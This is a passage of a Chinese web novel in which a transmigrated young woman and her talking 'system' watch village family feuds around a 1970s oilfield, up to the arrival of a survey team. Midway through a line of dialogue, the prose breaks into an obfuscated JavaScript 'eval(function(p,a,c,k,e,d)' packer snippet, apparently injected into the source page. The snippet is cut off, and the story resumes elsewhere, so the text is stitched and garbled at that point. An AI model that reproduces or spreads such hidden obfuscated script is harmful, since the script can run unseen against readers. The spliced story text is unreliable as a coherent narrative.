围观的女孩子们都懵逼了:大哥,这是草蛇,虽然大,看着花里胡哨的,但是真心没毒啊。 裘盼儿感动得泪水涟涟,看着田家光的眼神儿都拉丝了。 这时,一个裘家的堂姐,大着胆子开口:“这个......田......田知青,这是草蛇,没毒的,不用吸毒。” 裘盼儿闻言,恶狠狠地瞪着说话的人,而田家光则大大地松了一口气。 “是吗?”田家光转头,虚弱地说,“我就是太慌了。我是城里过来的,不认识蛇,还以为这蛇有毒呢。” 他望向裘盼儿,脸上露出大大的笑容:“这位同志,你听到了吧?这蛇没毒,真是太好了,你没事儿了。我......我可真高兴,你......你以后千万要小心,最好别只和女孩子们一起上山。你长得这么漂亮,只和女孩子一起太危险了。如果......如果非要上山,最好叫上男同志一起。要知道山上是很危险的。” 他语气时而高兴,时而忧愁,却让裘盼儿心里升起一股暖流,这人果然,一见她就喜欢她了。 这就是书里说的一见钟情吧? 或者叫一眼万年? 裘盼儿看着田家光,微微低下头,嘴角噙上笑容,忍不住抬起眼皮儿偷看田家光。 而早离开的姜楠,在系统的直播下,将事情听了个七七八八。她撇撇嘴,和系统道:“裘盼儿这种典型的缺爱富家女,能被凤凰男盯上,还入了套儿,太正常了啊。” 【宿主,你不劝劝?毕竟,你俩可是对照组呢。】 姜楠摇摇头:“你信不信我越劝越坏事?” 她给系统解释:“裘盼儿需要人肯定,凤凰男给她提供了情绪价值,她一定会上头的。而上头的热恋少女,就算是天王老子来了,也无济于事。” 【你们人类真负责。那你二叔二婶,还打算让姜桂和裘盼儿生米煮成熟饭呢,看来是行不通了。】 姜楠:“他俩想的多了,你看家里谁在乎了?” 系统:【就,突然有些可怜姜满坡和马红花。】 姜楠:呵呵,呵呵呵。 一人一统,愉快聊天。 “走,去女主那里看看,说不定能捡漏儿呢。”姜楠翘了翘嘴角,“书里不是说女主有大气运?我也不害人,跟着捡点漏儿没啥吧?” 她笑了两声,开心地说:“说不定能多一条发家致富的路呢。快看看,女主是不是也上山了,现在在哪儿呢?” 【好的,宿主。】系统开始接通跟唐夕关系好的其他女知青的频道,很快开口道,【宿主,唐夕在东南方向,她和其他知青一起上山,一个人去上厕所了。根据原文记载,她路上应该会发现人参。】 “哎呦我去。”姜楠感慨,“不愧是女主,这气运也是没谁了。你说你咋就不能接通唐夕的脑电波呢。” 【不能,宿主。唐夕是原文女主,是受特殊保护的,我可不被允许接通她的脑电波。】 姜楠了然,加快脚步,半路上远远望见姜槐、姜桐和姜松三人,赶紧猫在树后,她可不想被人看见。又不是啥好事儿,而且不知道能捡到什 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姜楠也来了些兴趣,伸手在背篓里翻了翻。豁,东西还真不少,栗子、野草莓、木耳,跟个小宝箱似的。姜楠心里那个乐呵啊,只是突然,一阵绞痛传来,她慌忙躬下身,捂住肚子,等又一阵痛袭来,她嗖一下蹿出去:“我先回家,你们慢慢走。” 想着沾女主气运的姜楠,幸运地迎来了‘报应’。 还没吃晚饭,她就跑了三次厕所,腿软地瘫在炕上,哎呦哎呦的跟系统抱怨:“看来不能招惹女主啊。这还真是有神秘力量护着的啊,不敢惹,不敢惹。” 【有可能,宿主,你今天起了捡漏儿的心思,就遭报应了,看来以后得离女主远一点,也不能起任何害女主的心思。】 “我哪儿敢啊。我就想着捡个漏,真是比窦娥还冤。”姜楠叹气。 “不行。”她一个鲤鱼打挺坐了起来,哼哼道,“等我好了,再去会会唐夕。放心,我不害她,就看看离她近点儿会不会有事。她可是有物资的人,如果换东西可行,以后家里也不用去黑市儿了。” 自从去年,有一个油田职工因为去黑市儿被开除,姜满城和陈金花都不敢再去了。这也是为啥姜满城想着挖唐夕墙角了。 家里就姜楠没工作,去黑市儿的任务自然交给了她。不过她也惜命着呢,年代文里可不少黑市儿里黑吃黑的描写,去多了保不准儿就遇到鬼了,她可不想被偷袭,虽然她会功夫,但也不是万能的啊。而且以后她要当警察,可不能知法犯法。 姜楠想着心事,到饭桌上时就没太注意大家的脸色。她也是饿得狠了,肚子都拉空了,能不饿嘛,一个劲儿低头狂吃呢。 这副不干活儿又吃得多的样子,引来二伯娘马红花不满,她哼一声,嘲讽道:“小楠啊,不是二伯娘说你,你说你来了也两天了,啥活儿也不干,还吃这么多,做女孩子哪有你这样的。你看看小桐,早上扫院子,白天上山摘果子,晚上还帮着大嫂做饭,你比人家小桐还大呢,整天吃了睡睡了吃,上山了也只顾自己,啥也不带下来,怎么好意思白吃白住的。” 她可是看这个侄女不顺眼很久了。一个丫头片子,早晚不是姜家人,她马红花可不怕得罪人。 饭桌上,众人停下筷子,空气突然安静。 马红花却不觉景儿,她终于说出来了,可太解气了! 她扫了一眼大哥大嫂,哼,你们怕小叔子,我可不怕。呦呦呦,看这给吓的,没出息! 还得是她马红花,这个家啊,也就她一个精明人。 她又没说错,一个丫头片子,吃这么多,还穿这么好,凭什么? 小叔子就不是个懂事的,自己都绝户了,还不知道对侄子们好一点儿,多接济接济侄子们,一味地惯着个外人,以后看谁给他养老! 反正她家小桂肯定不行,她才不要给儿子增添负担呢。 “二婶,你说得对。你明天要下地吗?要不我跟你一块儿吧,也帮你干点儿活。”姜楠笑眯眯地抬起头,十分听劝的样子。 马红花心里嗤笑一声,还当是个厉害的呢,就这?! 不过如此嘛,这不一说就乖乖下地。 马红花得意地瞥了一眼婆婆,点着下巴对姜楠道:“好,我明儿和你大伯娘、桂花嫂子一起,要去自留地除草,你跟着吧。这做女娃啊,就得学着干活儿,不然不好嫁人的。我跟你说......” 姜满坡拉拉媳妇儿的袖子,让她别说了。 这女人,咋说不听呢,让她别招惹这个侄女,别招惹小弟一家,她怎么就不想明白呢? 她招惹小弟一家,可从来没占到过便宜啊。 杜荷花轻咳一声,严厉地瞪了姜满坡一眼,见二儿子不敢再做小动作了,这才柔声对姜楠道:“小楠啊,悠着点儿,知道吗?” 姜桂看了一眼母亲,又看了一眼乐呵呵点头的堂妹,轻声道:“小楠,明儿我跟你一起吧。” 26. 教训马红花 正值盛夏,一大早,太阳明晃晃地挂在天上,照的人头晕眼花。 尹文娟、马红花、姚桂花、姜桂和姜楠一行五人,扛着锄头,背着粪筐走在路上。姜家自留地里的玉米已经扒干净了,如今需要锄一遍地,翻晒翻晒,之后再补种些蔬菜,冬日里也能多些嚼骨儿。另外,菜地的菜也该除草施肥了,他们今儿就是去干这个的。 “贼老天,热死个人。收大豆的时候,大队长还说下雨,这都多少天了,连个雨点子都没有。”马红花一路骂骂咧咧,她不耐热,爱出汗,别人还没怎么样呢,她的上衣已经快贴在身上了。 “妈,要不然你就别去了,我们四个人呢,自留地那点儿活一会就干完了。”姜桂劝道。他不放心母亲,虽说堂妹不会下狠手,但总归是亲妈,他还是心疼的。 “还是我家小桂懂事。” 马红花得意地瞥了一眼姜楠,虽然她也只一个孩子,可她生的是儿子,可比陈金花那个女人能耐多了。目光转向姜桂时,那眼神温柔的能滴出水,马红花说:“不用,这点儿热不算什么。再说咱们提着绿豆汤呢,一会儿到了喝点就成。” 五人顶着大太阳往前走,不期然,迎面走来一个年轻的女子。姜楠眯起眼,看穿着和气质,应该是村里的知青。鹅蛋脸,柳叶眉,大眼睛,只是配了一个猪头鼻香肠嘴,给本来富裕的外观减色不少。也不知是不是晒得中暑了,女知青面色发白,脚步虚浮。 路过五人时,女知青体力不支,晃晃悠悠往姜桂身上倒。 马红花哎呦一声,眼疾手快地丢下锄头,右手一把捞过儿子,左手也不消停,使劲儿一推,女知青歪斜的身子本身就不稳,这时更是啪叽一声,狠狠摔在地上。 马红花那可是使出了吃奶儿的劲儿了,开玩笑,这可是她儿子,是她辛辛苦苦生下的儿子啊。 因着用力过大,姜桂身后的粪筐都撒出来好些。 马红花可没功夫管这些了,见儿子没事,她掐着腰,怒目指着倒在地上装晕的女知青,跳着脚骂:“好你个叶春萍,又想沾包我儿子是吧?!老娘告诉你,门儿都没有。我呸。也不看看自己是什么货色,你配嘛你!一个小地方来的知青,装什么城里人,整天看不起这个看不起那个的,俺们还看不起你呢。干啥啥不行,吃啥啥没够儿,以为谁稀罕你呢。真是天大的笑话!咋的,现在听到油田勘探队的风声了,想来沾包儿是吧。老娘告诉你,没门,没门儿你听到没?!” 她恶声恶气地:“这几天你往我家院子前面转悠多少回了?打量谁看不出来呢,你个不要脸的贱货,狐狸精,没脸没皮的破鞋。老娘早看穿你了,还跟我在这儿演呢,是吧?演,行啊,我让你演!” 说着她蹲下身,哐当一声坐在叶春萍身上,啪啪啪左右开弓,三四个大耳瓜子招呼,叶春萍的脸当即就肿了。她呸一声,又死死按压叶春萍的人中,恶狠狠地说:“我让你晕,让你晕。” 叶春萍恨死这个老太婆了,她一个城里来的姑娘,能看中她家姜桂,她就该烧高香了,还敢看不起她!要不是......她能这么急,真是个老虔婆,老不死的,等着吧,等她嫁过去,一定把这个老虔婆赶出去。 心里恨得要死,面上却半丝也不敢露,还得悠悠醒转,一副虚弱的样子,她睁着迷茫又无助的眼睛,羞怯怯的溜了姜桂一眼,而后嘟嘟嘴,柔声道:“马阿姨,多谢您救了我。今儿这天太热,我一早本来要去公社买东西的,没想到路上有些中暑,这才往回走的。真的,我没装,是真的身子骨弱,您可千万别误会我了。” 叶春萍这一套,要搁平时没鼻青脸肿的时候,那还有点儿看头。 可惜啊,她现在已经被打成了个猪头,再这么含羞带怯的,额,关键是香肠嘴嘟起来,那真是切一盘子都多。 再顶着猪头抛媚眼儿,没眼看啊。 这不,马红花可给恶心的够呛,她也打累了,跳着脚起身,一把将儿子护在身后,恶狠狠地警告道:“滚犊子,少来这套!我告诉你,以后离我儿子远点,我儿子可是要娶油田上的姑娘的,你一个破知青算个嘚儿啊。早点儿给老娘滚远点,不然老娘对你不客气!” “马阿姨,您怎么这么说,我真的只是中暑了,我......”叶春萍红着眼眶,双眼含泪,一副楚楚可怜的小白花,额,不,猪头花模样。 “呸,少在这里做这副鬼样子。”马红花狠狠呸一口,继续骂道,“这是去自留地的路,什么去公社中暑,你骗鬼呢。呸,赶紧给我麻利儿的滚犊子!甭管你有什么小心思,都给我收一收,离我们家姜桂远点。我家小桂脸皮薄,老娘可不是好惹的,再有下次,老娘不扒了你的皮!走,儿子,少搭理这种人,越搭理她越来劲,贱骨头!” 马红花拉着姜桂,远远走开,那速度快的,真是生怕沾到一点儿。 姜楠看了一场大戏,回头看了叶春萍一眼。哦豁,就算当事人走了,女知青还坚强地入着戏呢,见姜楠看过来,更是嘤嘤嘤哭起来,一副伤心欲绝的模样。 姜楠暗暗佩服,谁说这年头的少女清纯的,这一个个的心眼子,比后世也不遑多让啊。 怪不得上辈子网上总说,思想品德课,是他们悲催的八零后才有的啊。这个年代的人,那是从来不考这个的啊。 “小楠,发什么愣?除草了,锄好之后还得施肥呢。” 马红花见人没跟上来,没什么好声气地高喊。她虽然上工的时候偷懒,去自留地干活可不含糊。自留地可是自家的,谁敢糊弄? 姜楠敷衍地应了一声,小跑过去。自留地不远,他们很快地到了地方。 不过,她今儿根本就不是来干农活儿的,瞥见姜桂把粪筐放在地上,已经扛起锄头,准备去除草了。姜楠立刻假装热得受不了的样子,双手不住地扇风:“这也太热了,不行,我得歇歇。” 她站在马红花旁边,而马红花则站在姜桂旁边,前面不远处正好就是粪筐。姜楠路过马红花,朝前面的大树走:“太热了,歇歇。一会儿再干。” “哎,你......”马红花看这个侄女儿不老实,转身就要拽人,可不知怎么回事儿,她好似没站稳,身子直直朝下栽。她本能地双手护头,却不想双手碰到了前面的粪筐,粪筐瞬间朝她翻了过来,啪叽,倒扣在马红花脑袋上。 可怜的马红花,被粪肥浇了一头。 那是结结实实的一头啊。 “啊啊啊” 姜家自留地,发出凄惨又绝望的叫声。 马红花双手扑腾地像离水的鱼,打落粪筐后,呸呸呸几口,奋力起身,哎呦哎呦叫唤个不停,头甩得像个拨浪鼓。 “哎呦妈呀,臭死我了。这可真臭啊。” 她又蹦又跳,双手一个劲儿地甩,又是扒拉头发,又是蹲下来用土搓手的,还对着上衣哀嚎,“我的新衣服啊。我没上身几次的新衣服啊。” 姜桂听到叫声后瞬间转身,一下子明白发生了什么。他谴责地瞪了姜楠一眼,姜楠耸耸肩。姜桂无法,只得奔过去拉住母亲的手,开口道:“妈,这样不行,我送你回家洗洗吧。” 哎,好歹是小楠出手,要是小叔,妈还不知要遭什么罪呢。姜桂心里明白,上次他妈算计姜楠的婚事,这次又说酸话,挑拨姜楠干活,要是不让小楠把气出了,等小叔来了,他妈只会更难。 “小桂啊,你说我怎么这么倒霉。”马红花见终于有人来安慰她了,拉着儿子的手,哭丧着脸说,“我这可是今年新做的衣服,沾上这些脏东西,以后还咋穿啊。儿子啊,我可是村里的体面人,今儿这么倒霉,以后可咋见人啊。” “妈,没事,洗洗就行了,我们先回去换个衣服。”姜桂也不嫌脏,把马红花头发上沾着的脏东西摘掉,扶着人转身就要往家走。 “哎呀妈呀。”尹文娟也奔了过来,急忙出声,“红花,你这也太倒霉了吧?这可真是,快回去洗洗吧,今儿就别过来了。地里就这点儿活,我和桂花一会儿就能干完,你回家好好洗洗。小桂,扶你妈回去。” 好嘛,不愧是姜满塘的媳妇儿,两口子都不是啥精明人。 不过她儿媳妇姚桂花倒是看明白了几分,悄悄看了几眼姜楠,暗道以后可不敢招惹这个小姑子。 马红花骂骂咧咧地离开,没人再撺掇姜楠干活儿,她耸耸肩,冲着尹文娟说:“大伯娘,这天儿也太热了,先喝点儿绿豆汤再干吧,别中暑了。” “这有啥,小楠你喝吧,我和你嫂子先干着。要是嫌热你就多歇会儿,你啊,从小没干过农活儿,受不了也是应该的。我和你嫂子都是干惯了的,没那么娇气。” 尹文娟笑得满不在乎,摆摆手就往自留地里走,下午还有别的活儿要干呢,可不敢耽搁。 姜楠也不是全然不想干活,她可以干,但却不能被逼着干,不然谁都来这一手,以后村里还回不回了?要知道每次回来,她爹可都给她奶带东西了的。要么是钱,要么是糕点,她可不是白住。 姜楠喝了碗绿豆汤,歇够了才挥起锄头锄草。尹文娟和姚桂花十分能干,已经把草锄的差不多了,姜楠没干几分钟就结束了。三人很快地回去,一路倒是没再出幺蛾子。 也是姜楠这个 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她挽起袖子要去地里揍人,被姜桂狠命拦住,他说:“妈,你想想,这么多年你什么时候占过小叔家的便宜?这次是小叔没来,要是小叔出手,你可就不是沾上点粪肥了。你就消停点儿吧。” 粪肥和大粪不同,是加了土、落叶、草木灰等发酵而成的,虽然也臭,但比大粪好多了。 可马红花听不进去啊,她气急败坏地说:“那就这么算了?你妈我就这么白被人欺负了?儿子啊,你妈今儿可是丢了大人了,怎么能算了?” “妈,你当初为啥算计小楠的婚事?现在又要让小楠干活,还说小楠白吃白住?小叔每次回来都给钱给东西了的,你又不是不知道,咋还能那么说。你做这些事都不占理的。分家的时候,小叔也分了房子的,小楠就是白住,你也不能说啥,更何况小楠没白住呢。” 姜桂头有些疼,揉揉太阳穴,语重心长地说:“妈,算了。你下次真的别想着算计小叔一家了。我们好好过日子,别想那么多。我也是高中毕业,到时候村里发现石油,我肯定能去当工人的,不用眼红小叔一家。” “我,我......” 马红花先是胸口不住地起伏,却越听越气虚。她就是看不得陈金花过得比她好,看不得陈金花生的女儿比她儿子金贵。 凭什么?她家可是儿子! 可马红花看着儿子的脸,却不再坚持去找姜楠的茬儿了。她就这一个儿子,还得靠着儿子养老呢。 马红花老实了,姜楠回来时,也只恶狠狠地瞪着人,却并没有上前呵斥。 没人再找茬儿了,姜楠又在村里住了一天,很快地迎来了周五。晚上,姜满城和陈金花夫妻俩也回了村子。 姜满城刚坐下,就被姜满坡拉着问东问西:“小弟,听说你们楼里有个叫吴大锤的,被老婆戴了绿帽子,当场捉奸在床,是不是?” 姜满城盘腿儿,挑挑眉,意味深长地说:“是啊,这是个没脑子容易冲动的,当时还动了刀子,想杀了那个奸夫呢。” 姜满坡眼神闪了闪,继续问:“听说他是大车司机,他儿子身体不太好,不太可能接班,是不是?” 姜满城笑了,深深地看了他这个二哥一眼,说:“那谁知道呢,吴家对外,可都说他家建国就是营养不良,多吃点儿好的补补就行了,没啥大问题。再说了,不开大车也能干点儿别的,特车队又不是只有司机,你说是不是?再不济,还能换工呢。” “是,是。”姜满坡嘿嘿笑了两声,岔开话题道,“小弟啊,你这每次来了,也不多说点儿油田的趣事儿,你看这些事,还是人家裘家的盼儿说的呢。” “我可不嚼这种老婆舌。” 姜满城再不理这个打坏主意的二哥,转头和杜荷花、姜满塘聊起别的,还指了指带来的大西瓜,“这是油田供销社新上的西瓜,这么老大,我本来不想带的,这一路上得多沉啊。嗐,我家金花心好,说什么都要带过来给大家尝尝。我这一路上可废了大劲儿了。有啥办法,我媳妇儿就是太好了。我也好,我命好啊,能娶金花这么好的媳妇儿,我真是,我哭死。我命怎么就这么好呢。娘,您说是吧,我媳妇儿是不是特别好?” 当着这么多人的面,陈金花还是有些不好意思的,她低斥道:“少说这些有的没的。” 姜满城耸耸肩:“媳妇儿,我这可都是真心话,比珍珠还真的真心话。” 马红花翻了个大大的白眼,就连杜荷花都不接小儿子的话茬,转头儿和大儿子说起了别的。 很快地,姜家堂屋发出阵阵愉快的笑声。 27. 勘探队来了 姜家三房的一天,是从姜满城呵呵冷笑开始的。 “便宜她了。” 姜满城听完闺女教训马红花的经过,冷笑两声,颇有些不甘心地说:“你都出手了,我就不好再掺和了,怎么也得给小桂些体面不是。这个马红花啊,也就是命好,嫁到咱们姜家,不然有她好果子吃。” 陈金花倒是给闺女拍手叫好。她虽然脾气大武力值高,鬼主意真是没姜满城多,这样直来直去的才合她脾气呢,也觉得这么做才是最解气的。 一家子很快地洗漱好,去正堂吃早饭。见到马红花,姜满城立马扬起笑容,十分的纯良,他问道:“二嫂,昨儿的粪肥洗干净了吧?别是吃饭的时候有啥不干净的。你说这大早上的,再让大家都没了吃饭的心情,多不好的,是吧?” 马红花的脸啊,当即就耷拉下来。无奈儿子在身边,她答应了儿子,不再找这家的茬,只重重地哼一声,全当没听见。 姜满城也不在意,高兴地哼起歌儿,心情十分的畅快。 这报仇的事儿啊,也不是说都得大张旗鼓,都是一家人,小小地教训一下,差不多就行了。要是下手太重,再结了仇,那可就变成他的不对了。 很快地,一家子吃着定量的早饭,却没想到村子里沸腾了。 为啥?因为一大早,油田总部的勘探队来了! 这还有啥怀疑的,肯定是他们村儿也要发现石油了啊。 这可是石油,是象征着一家一个工作的石油! 谁听了,不得激动啊。 谁听了,不得迷糊啊。 谁听了,不得大喊大叫啊。 最先看到勘探队的,是大早上扛着锄头,趁着太阳还不烈,去自留地里干点儿活的老农葛大叔。还不到上工的点儿,大集体干活,那是能糊弄就糊弄,懂的都懂。但自留地不一样,那是自家的,伺候的可得精心呢。这不,大家伙儿都是大早上最有劲儿的时候去,有劲儿都得搁自己地里使。 勘探队是坐着大卡车过来的,轰隆隆,惊得葛大叔锄头都掉了。 他们村儿盼勘探队,那可是盼星星盼月亮,盼得眼睛都红了。这终于见到人了,可不得撒丫子往村里跑啊,边跑还边嗷嗷喊:“勘探队!油田勘探队来了!咱们村儿也要发现石油了,有工作了!大家快来啊,油田勘探队来了......” 一大早的,村里人基本上都在家,这么大的声音,哪有听不到的。一个个饭都不吃了,睁着滴溜溜大的眼睛,呆愣当场啊。有那反应快的,早一溜烟儿奔出去看了。 这勘探队还真的来了?! 可不咋的,大卡车载着人呢,村里人面上那个喜不自禁,不少人当场泪流满面。 别觉得夸张,这个时候,工人和农民的日子,那差的不是一星半点儿。 农民辛苦干一年,可能没人家工人一个月工资多。 你说搁谁,谁不羡慕? 不止物质上的差距,精神上也差着呢。 这年代工人的地位高啊,那可是工人老大哥。况且石油工人,又是老大哥中的老大哥,是所有工人学习的榜样。 一家家喜极而泣,动静太大,连山脚下的姜家都听到了。 姜满城当即想到岳父,心里那个苦啊,他求助地望向媳妇儿陈金花,却见陈金花眼睛跟点了火似的,不是生气,那是兴奋的,兴奋地蹭蹭往外冒火苗子。她三两下穿上鞋,疾步往外跑:“爹,是不是你来了,爹。” 姜楠冲她爹嘿嘿笑两声,跟着陈金花跑没影儿了。 姜满城苦大仇深地叹了口气,带着视死如归的勇气,坚定勇敢地踏出了堂屋门。 “出息。”杜荷花早在大院门口等着了,亲家过来,她当然得去看看。看儿子这个样子,气儿就不打一处来,“那是你老丈人,又不是老虎,你怕什么?出息劲儿的,真是伤眼。” “妈。”姜满城想起岳父陈万里,身子抖了抖,苦着脸,他说,“您信不信我今儿不被岳父骂成孙子不罢休?” “那也是你岳父聪明。”杜荷花慢悠悠地朝前走着,不紧不慢道,“不把你臭骂一顿,村里人都来找你怎么办?你该得的,受着吧。” 不能受又能怎么样,姜满城第一万次鼓起勇气,谁让他拱了老爷子养的白菜呢,是吧? 虽然姜满城和杜荷花走得很慢,但路就那么长,很快地就到了勘探队驻扎的地方。此时,这里已经是里三层外三层,乌央乌央的,被村民团团围住。要不是每次勘探都带着警察,村民早上前拽人了。 没恶意哈,这不是想拉着人去家里吃点菜喝点酒,顺便拉近拉近关系嘛。 人群中间,陈金花跟小鹌鹑似的站着,姜楠乖巧地依偎在一位老人身边,像一只加大号的大白兔。 那被依偎着的,说是老人,其实也就五十上下,瘦高的个儿,跟姜楠差不多,身上多了一股子书卷气,脸部线条柔和,头发一丝不苟地向后梳,隐约可见白发。 这位老人,正是姜满城的岳父陈万里。他远远瞥了姜满城一眼,不动声色。 人群却嗡嗡开了。 姜满城当年结婚,陈万里是来过村里的。只是时间久了,大家有些不记清了。见此情景,那机灵的,早抢先跑到姜满城身边,恭维道:“满城啊,这次是你岳父带队吧?你可得给我家说说好话,当初咱俩关系可正经不错......” “你算啥,我跟满城还是初中同学呢,是吧,满城?我家男娃年龄小,有三个都不到十岁呢,你看这家都分不成。麻烦你去跟陈家大叔说说,能不能多给我家几个工作名额。这我家人多,得照顾照顾,是吧?” “滚一边儿去,你家算啥。当初荷花婶子来村里,我家可是给过一碗棒子面的,是吧,荷花婶子?咱这关系,瓷实着呢!荷花婶子,咱可说好了啊,我晚上和我妈,去您家坐坐,咱们好好唠唠。” “荷花啊,你这身子骨儿,看着可真硬朗。晚上咱可得好好聊聊,你这咋保养的,得好好说说。咱这都多少年的老姐妹了,对我你可不能藏私啊。” 姜满城和杜荷花走在前头,两边围着无数说好话的村民。那架势,跟走花路似的,威风八面的。 姜满城呵呵呵,半句口风不露,瞥见老丈人的神情,收敛起脸上的笑容,一路小跑来到陈万里面前,躬身乖乖叫了一声:“爸。” 陈万里蹦着下颔,重重嗯了一声,他看起来很不高兴,厉声问:“你怎么养孩子的?你看小楠瘦的?!真是没用的东西,要不是当初金花看上你,我是怎么都不可能把闺女嫁给你的。你看看你这个样子,哪里有一点儿让人瞧得上!就是个小白脸子,还是身体柔弱的小白脸子,真是苦了我们家金花和小楠了。” 他这突然发飙,倒是让兴奋的人群静了不少。 村民们你看看我,我看看你,眼神都有些微妙。 这有权有势的老丈人,不好对付啊。 赘婿难当啊。嗯,反正就是这么个意思。 姜满城低着头,一副诚惶诚恐的样子,他说:“爸,瞧您说的,我跟金花可是真心相爱。我们感情很好的,而且我家里人......” “够了!”陈万里大喝一声,极是气不过的样子,他说,“家里什么家里。你家里让小楠干农活儿,当我不知道?少在这里废话,我现在来了,你可糊弄不了我,你家里人也休想欺负小楠。这两天金花和小楠跟我住,你回家好好反思反思。什么时候知道错了,什么时候再跟我说话。” “爸。”陈金花虽然猜到几分,但到底顾及姜满城的面子,想说几句好话,被老爷子冷飕飕瞥了一眼,瞬间什么都不敢说了,只能给姜满城一个自求多福的眼神儿。 杜荷花适时开口,这发火,多多益善啊。刚一路上,可是好多人要晚上去家里坐坐的,多骂几句,才能浇灭大家伙儿的热情啊。 她同款面色不善脸,气愤地说:“亲家,您可别欺人太甚!这嫁出去的女儿泼出去的水,哪有老丈人这么插手出嫁女的事的?说到大天去,也没有这样儿的!你们家金花虽然是城里姑娘,我们满城如今还是石油工人呢,配金花那是绰绰有余!” “好啊,亲家母,你终于说实话了。”陈万里眯了眯眼,一副我早知如此的样子,他狠狠的威胁道,“什么石油工人,好笑!不过一个档案管理员罢了。没出息的家伙,根本就配不上我们金花。你信不信,再敢这么跟我说话,我敢让油田里有他没我,有我没他!我就不信,他还能呆的下去。” 陈万里重重地哼一声,吩咐一边同样看热闹的学生和徒弟:“看什么看,帐篷搭好了吗?给我闺女和外孙女搭一个。派出所的同志呢?” 他扬声问,几个穿着警服的警官上前,陈万里和人握了握手,表情转换十分的自然,他轻声说:“让你们看笑话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“他们留在临市继续勘探了。”陈万里翘起嘴角,指了指两个包裹,道,“那个大的,是你大舅二舅给你带的礼物。小的那个是姥爷给你的,去吃吧。” “爸,你来还带什么东西。”陈金花眼眶有些红,她看着父亲的脸,心疼地说,“爸,你多久没休息了?怎么都有黑眼圈了?” “没事,这两天工作忙,过一段儿就好了。”陈万里也不过多寒暄,直接问闺女,“小楠高中毕业了,工作有眉目了没?” “爸!”陈金花面露惊喜,见没外人,她压低声音,将姜楠三次立功,很有可能进派出所的事说了。 她仰起头,语气骄傲又得意,她说:“爸,你就别操那么多心了,小楠这里没什么问题的。大哥家的小伟怎么样了,我怎么听说没考上高中?是不是要下乡?” 陈万里见姜楠神采奕奕,显然是极乐意当警察的。他虽然觉得危险,到底没开口劝。他能管闺女,却不好越过女婿,再插手外孙女的事。 “有你大哥管呢。我呀,只管你大哥二哥。他们自个儿的孩子,自个儿管去,我都不操心,你就更别跟着瞎掺和了......” 祖孙三人在帐篷里聊着家常,外面,吴大锤将车上的器材都卸完,小跑到姜满城身边打招呼:“满城,没想到在这儿见到你了。你岳父可真够凶的,你这小白脸儿也不好干啊。” 他在筒子楼丢了人,如今见姜满城当众丢了面儿,心里多少生出些隐秘的快意。这不,活儿一干完,就巴巴过来刺人了。 别人比他更丢脸,他就开心。 姜满城看吴大锤过来,笑了,转头对姜满坡道:“满坡啊,这就是我们楼里的吴大锤。你昨儿不是还问我呢嘛,这就叫说曹操曹操到,是不是缘分?” 吴大锤脸一下子耷拉下来,不认识的人,无缘无故地问他,还能是为了啥。 他瞪了姜满坡一眼,转身就走,不料姜满城高声问:“大锤啊,你要一直在勘探队吗?不回特车队了?” 吴大锤理都不理,径直往前走,倒是跑过来准备打招呼的吴建国一脸尴尬,他说:“姜叔叔,我爸他脾气不好,您别见怪。我爸还要去临市拉几次器材,明儿我们就回特车队了。” “哦,那你们今晚住哪儿啊?” “住帐篷里,器材有些多,回来可能都八九点了,我们也不回家了。”吴建国挠挠头,又冲姜满城局促地笑笑,这才离开。 姜满城转身,见二哥姜满坡眼睛亮的跟探照灯似的,笑了。 28. 组团仙人跳 当晚,姜家院子传来呜呜的哭声,小白脸子姜满城哭的那个惨呦,一把鼻涕一把泪的,让几个提着礼物上门的‘好兄弟’,愣是开不了口。 无他,被姜满城哭的脑壳子疼,嗷嗷逃回家才发现,礼物放下了,话没说了,悔得肠子都青了。 当然,这些是机灵的,看出陈万里当众斥责女婿这事儿不简单。更多的,则是对姜满城嗤之以鼻,心里生出鄙夷的,仿佛这样,他们就把姜满城踩在了脚下。 不得不说,当初姜满城娶了城里姑娘陈金花,大家虽然说他是小白脸吃软饭,心里多少还是羡慕的。很多人可是暗暗起了心思,你想啊,姜满城这种没什么本事的碎嘴子,都能巴结上大领导,娶大领导的女儿做媳妇儿,那他们怎么就不行了? 他们肯定行啊。 他们不仅行,还能比姜满城吃的更多更好呢。 只是很快,大家的美梦就被戳破了,比那肥皂泡都快。 等冷静下来想想,城里姑娘也不个个都是瞎的。哎,谁让他们没姜满城那个运气,遇见个瞎眼婆娘呢。 大家做了一回梦,心里羡慕嫉妒了一番姜满城,继续该干嘛干嘛了。 但此时知道姜满城过的不好,还被老丈人看不起,在老丈人面前跟三孙子似的,他们心里那个爽利啊,跟三伏天喝冰水似的,透心的舒坦啊。 有那看不得姜家好的,例如魏家,当晚还喝酒庆祝了一番,别提多开心了。 话说回来,这也是少数,更多的是事不关己,纯粹看热闹。也有些人,则是揣了其他的小心思。 这不,大晚上的,快九点了吧,姜满坡偷偷打开门,准备偷摸摸敲响大哥的房门。只是他的手还没落在门上,就被姜满城一棍子打晕过去。 姜满塘和儿子姜柏正在屋里等着呢,听到响动推开门,见此情景,姜满塘十分的诧异,他问:“满城,这是咋了?满坡怎么晕了?” 姜满城扶着人,小声问道:“大哥,你说实话,今晚满坡找你,是因为啥?” 姜满塘挠挠头,实话实说道:“这个,满坡说他听到村里几个小子不怀好意,想去偷勘探队的东西。他就想叫上我和你侄子一起,过去把人抓了。我一寻思,这勘探队好不容易来咱们西河岸,可不能发生丢东西的事儿啊。这不是,我就答应了,在屋里等着满坡来叫呢。” 姜满城继续问:“咋不告诉大队长?” 姜满塘:“满坡说那几个小子都是金家的族人,大队长说不定不会管。反正就几个半大小子,我们三个去,肯定收拾得妥妥的。” 姜满城没再问,而是让姜满塘帮忙,将人拖回了东厢。临走前,他郑重道:“大哥,你要是相信我,就把满坡看紧了,就算醒过来,也不能让他出去,知道吗?” 姜满塘不解,看看小弟,又看看大儿子,问道:“啊,咋回事儿啊?满坡说的是假的?他是又出什么坏主意了?” 不待姜满城回答,杜荷花就气势汹汹地从堂屋过来,掷地有声地说:“满城,你去吧,人我看着,一定不拖你后腿。” 姜满城这才放下心,他大哥和大侄子实在是太好忽悠了,他怕姜满坡这小子醒了之后坏事儿。如今他娘来了就好了,大哥一向听娘的话,不会出事儿的。姜满城点点头,叮嘱道:“娘,你别熬着,让大哥大侄子两个看着就行,我出去了。” 说着,他悄么悄地出门,很快隐没在黑夜中。 